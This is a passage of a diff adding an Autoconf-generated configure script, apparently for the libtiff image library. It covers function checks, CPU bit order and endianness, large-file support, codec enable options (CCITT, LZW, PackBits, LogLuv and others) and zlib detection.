+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+
+#undef $ac_func
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char $ac_func ();
+/* The GNU C library defines this for functions which it implements
+    to always fail with ENOSYS.  Some functions are actually named
+    something starting with __ and the normal name is an alias.  */
+#if defined (__stub_$ac_func) || defined (__stub___$ac_func)
+choke me
+#else
+char (*f) () = $ac_func;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != $ac_func;
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  eval "$as_ac_var=yes"
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_var=no"
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_var'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_var'}'`" >&6
+if test `eval echo '${'$as_ac_var'}'` = yes; then
+  cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1
+_ACEOF
+
+else
+  case $LIBOBJS in
+    "$ac_func.$ac_objext"   | \
+  *" $ac_func.$ac_objext"   | \
+    "$ac_func.$ac_objext "* | \
+  *" $ac_func.$ac_objext "* ) ;;
+  *) LIBOBJS="$LIBOBJS $ac_func.$ac_objext" ;;
+esac
+
+fi
+done
+
+
+
+echo "$as_me:$LINENO: checking native cpu bit order" >&5
+echo $ECHO_N "checking native cpu bit order... $ECHO_C" >&6
+case "$target_cpu" in
+    i*86*)
+        HOST_FILLORDER=FILLORDER_LSB2MSB
+	echo "$as_me:$LINENO: result: lsb2msb" >&5
+echo "${ECHO_T}lsb2msb" >&6
+	;;
+    *)
+	HOST_FILLORDER=FILLORDER_MSB2LSB
+	echo "$as_me:$LINENO: result: msb2lsb" >&5
+echo "${ECHO_T}msb2lsb" >&6
+        ;;
+esac
+
+cat >>confdefs.h <<_ACEOF
+#define HOST_FILLORDER $HOST_FILLORDER
+_ACEOF
+
+
+if test "$ac_cv_c_bigendian" = yes ; then
+    HOST_BIGENDIAN=1
+else
+    HOST_BIGENDIAN=0
+fi
+
+cat >>confdefs.h <<_ACEOF
+#define HOST_BIGENDIAN $HOST_BIGENDIAN
+_ACEOF
+
+
+#_POSIX_C_SOURCE=2
+#AC_DEFINE_UNQUOTED(_POSIX_C_SOURCE, $_POSIX_C_SOURCE, [Define this macro to a positive integer to control which POSIX functionality is made available.])
+
+HAVE_IEEEFP=1
+
+cat >>confdefs.h <<_ACEOF
+#define HAVE_IEEEFP $HAVE_IEEEFP
+_ACEOF
+
+
+
+# Check whether --enable-rpath or --disable-rpath was given.
+if test "${enable_rpath+set}" = set; then
+  enableval="$enable_rpath"
+  HAVE_RPATH=$enableval
+else
+  HAVE_RPATH=no
+fi;
+
+
+if test "$HAVE_RPATH" = "yes"; then
+  HAVE_RPATH_TRUE=
+  HAVE_RPATH_FALSE='#'
+else
+  HAVE_RPATH_TRUE='#'
+  HAVE_RPATH_FALSE=
+fi
+
+
+
+# Check whether --enable-largefile or --disable-largefile was given.
+if test "${enable_largefile+set}" = set; then
+  enableval="$enable_largefile"
+
+fi;
+if test "$enable_largefile" != no; then
+
+  echo "$as_me:$LINENO: checking for special C compiler options needed for large files" >&5
+echo $ECHO_N "checking for special C compiler options needed for large files... $ECHO_C" >&6
+if test "${ac_cv_sys_largefile_CC+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_cv_sys_largefile_CC=no
+     if test "$GCC" != yes; then
+       ac_save_CC=$CC
+       while :; do
+     	 # IRIX 6.2 and later do not support large files by default,
+     	 # so use the C compiler's -n32 option if that helps.
+	 cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <sys/types.h>
+ /* Check that off_t can represent 2**63 - 1 correctly.
+    We can't simply define LARGE_OFF_T to be 9223372036854775807,
+    since some C++ compilers masquerading as C compilers
+    incorrectly reject 9223372036854775807.  */
+#define LARGE_OFF_T (((off_t) 1 << 62) - 1 + ((off_t) 1 << 62))
+  int off_t_is_large[(LARGE_OFF_T % 2147483629 == 721
+		       && LARGE_OFF_T % 2147483647 == 1)
+		      ? 1 : -1];
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+     	 rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext
+     	 CC="$CC -n32"
+     	 rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_sys_largefile_CC=' -n32'; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext
+	 break
+       done
+       CC=$ac_save_CC
+       rm -f conftest.$ac_ext
+    fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_sys_largefile_CC" >&5
+echo "${ECHO_T}$ac_cv_sys_largefile_CC" >&6
+  if test "$ac_cv_sys_largefile_CC" != no; then
+    CC=$CC$ac_cv_sys_largefile_CC
+  fi
+
+  echo "$as_me:$LINENO: checking for _FILE_OFFSET_BITS value needed for large files" >&5
+echo $ECHO_N "checking for _FILE_OFFSET_BITS value needed for large files... $ECHO_C" >&6
+if test "${ac_cv_sys_file_offset_bits+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  while :; do
+  ac_cv_sys_file_offset_bits=no
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <sys/types.h>
+ /* Check that off_t can represent 2**63 - 1 correctly.
+    We can't simply define LARGE_OFF_T to be 9223372036854775807,
+    since some C++ compilers masquerading as C compilers
+    incorrectly reject 9223372036854775807.  */
+#define LARGE_OFF_T (((off_t) 1 << 62) - 1 + ((off_t) 1 << 62))
+  int off_t_is_large[(LARGE_OFF_T % 2147483629 == 721
+		       && LARGE_OFF_T % 2147483647 == 1)
+		      ? 1 : -1];
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#define _FILE_OFFSET_BITS 64
+#include <sys/types.h>
+ /* Check that off_t can represent 2**63 - 1 correctly.
+    We can't simply define LARGE_OFF_T to be 9223372036854775807,
+    since some C++ compilers masquerading as C compilers
+    incorrectly reject 9223372036854775807.  */
+#define LARGE_OFF_T (((off_t) 1 << 62) - 1 + ((off_t) 1 << 62))
+  int off_t_is_large[(LARGE_OFF_T % 2147483629 == 721
+		       && LARGE_OFF_T % 2147483647 == 1)
+		      ? 1 : -1];
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_sys_file_offset_bits=64; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+  break
+done
+fi
+echo "$as_me:$LINENO: result: $ac_cv_sys_file_offset_bits" >&5
+echo "${ECHO_T}$ac_cv_sys_file_offset_bits" >&6
+if test "$ac_cv_sys_file_offset_bits" != no; then
+
+cat >>confdefs.h <<_ACEOF
+#define _FILE_OFFSET_BITS $ac_cv_sys_file_offset_bits
+_ACEOF
+
+fi
+rm -f conftest*
+  echo "$as_me:$LINENO: checking for _LARGE_FILES value needed for large files" >&5
+echo $ECHO_N "checking for _LARGE_FILES value needed for large files... $ECHO_C" >&6
+if test "${ac_cv_sys_large_files+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  while :; do
+  ac_cv_sys_large_files=no
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <sys/types.h>
+ /* Check that off_t can represent 2**63 - 1 correctly.
+    We can't simply define LARGE_OFF_T to be 9223372036854775807,
+    since some C++ compilers masquerading as C compilers
+    incorrectly reject 9223372036854775807.  */
+#define LARGE_OFF_T (((off_t) 1 << 62) - 1 + ((off_t) 1 << 62))
+  int off_t_is_large[(LARGE_OFF_T % 2147483629 == 721
+		       && LARGE_OFF_T % 2147483647 == 1)
+		      ? 1 : -1];
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#define _LARGE_FILES 1
+#include <sys/types.h>
+ /* Check that off_t can represent 2**63 - 1 correctly.
+    We can't simply define LARGE_OFF_T to be 9223372036854775807,
+    since some C++ compilers masquerading as C compilers
+    incorrectly reject 9223372036854775807.  */
+#define LARGE_OFF_T (((off_t) 1 << 62) - 1 + ((off_t) 1 << 62))
+  int off_t_is_large[(LARGE_OFF_T % 2147483629 == 721
+		       && LARGE_OFF_T % 2147483647 == 1)
+		      ? 1 : -1];
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_sys_large_files=1; break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+  break
+done
+fi
+echo "$as_me:$LINENO: result: $ac_cv_sys_large_files" >&5
+echo "${ECHO_T}$ac_cv_sys_large_files" >&6
+if test "$ac_cv_sys_large_files" != no; then
+
+cat >>confdefs.h <<_ACEOF
+#define _LARGE_FILES $ac_cv_sys_large_files
+_ACEOF
+
+fi
+rm -f conftest*
+fi
+
+
+
+LIBTIFF_DOCDIR=\${prefix}/share/doc/${PACKAGE}-${LIBTIFF_VERSION}
+
+
+# Check whether --with-docdir or --without-docdir was given.
+if test "${with_docdir+set}" = set; then
+  withval="$with_docdir"
+
+fi;
+if test "x$with_docdir" != "x" ; then
+  LIBTIFF_DOCDIR=$with_docdir
+fi
+
+
+
+
+# Check whether --enable-ccitt or --disable-ccitt was given.
+if test "${enable_ccitt+set}" = set; then
+  enableval="$enable_ccitt"
+  HAVE_CCITT=$enableval
+else
+  HAVE_CCITT=yes
+fi;
+
+if test "$HAVE_CCITT" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define CCITT_SUPPORT 1
+_ACEOF
+
+fi
+
+# Check whether --enable-packbits or --disable-packbits was given.
+if test "${enable_packbits+set}" = set; then
+  enableval="$enable_packbits"
+  HAVE_PACKBITS=$enableval
+else
+  HAVE_PACKBITS=yes
+fi;
+
+if test "$HAVE_PACKBITS" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define PACKBITS_SUPPORT 1
+_ACEOF
+
+fi
+
+# Check whether --enable-lzw or --disable-lzw was given.
+if test "${enable_lzw+set}" = set; then
+  enableval="$enable_lzw"
+  HAVE_LZW=$enableval
+else
+  HAVE_LZW=yes
+fi;
+
+if test "$HAVE_LZW" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define LZW_SUPPORT 1
+_ACEOF
+
+fi
+
+# Check whether --enable-thunder or --disable-thunder was given.
+if test "${enable_thunder+set}" = set; then
+  enableval="$enable_thunder"
+  HAVE_THUNDER=$enableval
+else
+  HAVE_THUNDER=yes
+fi;
+
+if test "$HAVE_THUNDER" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define THUNDER_SUPPORT 1
+_ACEOF
+
+fi
+
+HAVE_NEXT=yes
+
+# Check whether --enable-next or --disable-next was given.
+if test "${enable_next+set}" = set; then
+  enableval="$enable_next"
+  HAVE_NEXT=$enableval
+else
+  HAVE_NEXT=yes
+fi;
+
+if test "$HAVE_NEXT" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define NEXT_SUPPORT 1
+_ACEOF
+
+fi
+
+# Check whether --enable-logluv or --disable-logluv was given.
+if test "${enable_logluv+set}" = set; then
+  enableval="$enable_logluv"
+  HAVE_LOGLUV=$enableval
+else
+  HAVE_LOGLUV=yes
+fi;
+
+if test "$HAVE_LOGLUV" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define LOGLUV_SUPPORT 1
+_ACEOF
+
+fi
+
+
+# Check whether --enable-mdi or --disable-mdi was given.
+if test "${enable_mdi+set}" = set; then
+  enableval="$enable_mdi"
+  HAVE_MDI=$enableval
+else
+  HAVE_MDI=yes
+fi;
+
+if test "$HAVE_MDI" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define MDI_SUPPORT 1
+_ACEOF
+
+fi
+
+
+HAVE_ZLIB=no
+
+# Check whether --enable-zlib or --disable-zlib was given.
+if test "${enable_zlib+set}" = set; then
+  enableval="$enable_zlib"
+
+fi;
+
+# Check whether --with-zlib-include-dir or --without-zlib-include-dir was given.
+if test "${with_zlib_include_dir+set}" = set; then
+  withval="$with_zlib_include_dir"
+
+fi;
+
+# Check whether --with-zlib-lib-dir or --without-zlib-lib-dir was given.
+if test "${with_zlib_lib_dir+set}" = set; then
+  withval="$with_zlib_lib_dir"
+
+fi;
+
+if test "x$enable_zlib" != "xno" ; then
+
+  if test "x$with_zlib_lib_dir" != "x" ; then
+    LDFLAGS="-L$with_zlib_lib_dir $LDFLAGS"
+  fi
+
+  echo "$as_me:$LINENO: checking for inflateEnd in -lz" >&5
+echo $ECHO_N "checking for inflateEnd in -lz... $ECHO_C" >&6
+if test "${ac_cv_lib_z_inflateEnd+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lz  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char inflateEnd ();
+int
+main ()
+{
+inflateEnd ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_z_inflateEnd=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_z_inflateEnd=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_z_inflateEnd" >&5
+echo "${ECHO_T}$ac_cv_lib_z_inflateEnd" >&6
+if test $ac_cv_lib_z_inflateEnd = yes; then
+  zlib_lib=yes
+else
+  zlib_lib=no
+fi
+
+  if test "$zlib_lib" = "no" -a "x$with_zlib_lib_dir" != "x"; then
+    { { echo "$as_me:$LINENO: error: Zlib library not found at $with_zlib_lib_dir" >&5
+echo "$as_me: error: Zlib library not found at $with_zlib_lib_dir" >&2;}
+   { (exit 1); exit 1; }; }
+  fi
+
+  if test "x$with_zlib_include_dir" != "x" ; then
+    CPPFLAGS="-I$with_zlib_include_dir $CPPFLAGS"
+  fi
+  if test "${ac_cv_header_zlib_h+set}" = set; then
+  echo "$as_me:$LINENO: checking for zlib.h" >&5
+echo $ECHO_N "checking for zlib.h... $ECHO_C" >&6
+if test "${ac_cv_header_zlib_h+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: $ac_cv_header_zlib_h" >&5
+echo "${ECHO_T}$ac_cv_header_zlib_h" >&6
+else
+  # Is the header compilable?
+echo "$as_me:$LINENO: checking zlib.h usability" >&5
+echo $ECHO_N "checking zlib.h usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+#include <zlib.h>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_header_compiler=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking zlib.h presence" >&5
+echo $ECHO_N "checking zlib.h presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <zlib.h>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_c_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_c_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  ac_header_preproc=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So?  What about this header?
+case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in
+  yes:no: )
+    { echo "$as_me:$LINENO: WARNING: zlib.h: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: zlib.h: accepted by the compiler, rejected by the preprocessor!" >&2;}
+    { echo "$as_me:$LINENO: WARNING: zlib.h: proceeding with the compiler's result" >&5
+echo "$as_me: WARNING: zlib.h: proceeding with the compiler's result" >&2;}
+    ac_header_preproc=yes
+    ;;
+  no:yes:* )
+    { echo "$as_me:$LINENO: WARNING: zlib.h: present but cannot be compiled" >&5
+echo "$as_me: WARNING: zlib.h: present but cannot be compiled" >&2;}
+    { echo "$as_me:$LINENO: WARNING: zlib.h:     check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: zlib.h:     check for missing prerequisite headers?" >&2;}
+    { echo "$as_me:$LINENO: WARNING: zlib.h: see the Autoconf documentation" >&5
+echo "$as_me: WARNING: zlib.h: see the Autoconf documentation" >&2;}
+    { echo "$as_me:$LINENO: WARNING: zlib.h:     section \"Present But Cannot Be Compiled\"" >&5
+echo "$as_me: WARNING: zlib.h:     section \"Present But Cannot Be Compiled\"" >&2;}
+    { echo "$as_me:$LINENO: WARNING: zlib.h: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: zlib.h: proceeding with the preprocessor's result" >&2;}
+    { echo "$as_me:$LINENO: WARNING: zlib.h: in the future, the compiler will take precedence" >&5
+echo "$as_me: WARNING: zlib.h: in the future, the compiler will take precedence" >&2;}
+    (
+      cat <<\_ASBOX
+## -------------------------------------- ##
+## Report this to tiff@lists.maptools.org ##
+## -------------------------------------- ##
+_ASBOX
+    ) |
+      sed "s/^/$as_me: WARNING:     /" >&2
+    ;;
+esac
+echo "$as_me:$LINENO: checking for zlib.h" >&5
+echo $ECHO_N "checking for zlib.h... $ECHO_C" >&6
+if test "${ac_cv_header_zlib_h+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_cv_header_zlib_h=$ac_header_preproc
+fi
+echo "$as_me:$LINENO: result: $ac_cv_header_zlib_h" >&5
+echo "${ECHO_T}$ac_cv_header_zlib_h" >&6
+
+fi
+if test $ac_cv_header_zlib_h = yes; then
+  zlib_h=yes
+else
+  zlib_h=no
+fi
+
+
+  if test "$zlib_h" = "no" -a "x$with_zlib_include_dir" != "x" ; then
+    { { echo "$as_me:$LINENO: error: Zlib headers not found at $with_zlib_include_dir" >&5
+echo "$as_me: error: Zlib headers not found at $with_zlib_include_dir" >&2;}
+   { (exit 1); exit 1; }; }
+  fi
+
+  if test "$zlib_lib" = "yes" -a "$zlib_h" = "yes" ; then
+    HAVE_ZLIB=yes
+  fi
+
+fi
+
+if test "$HAVE_ZLIB" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define ZIP_SUPPORT 1
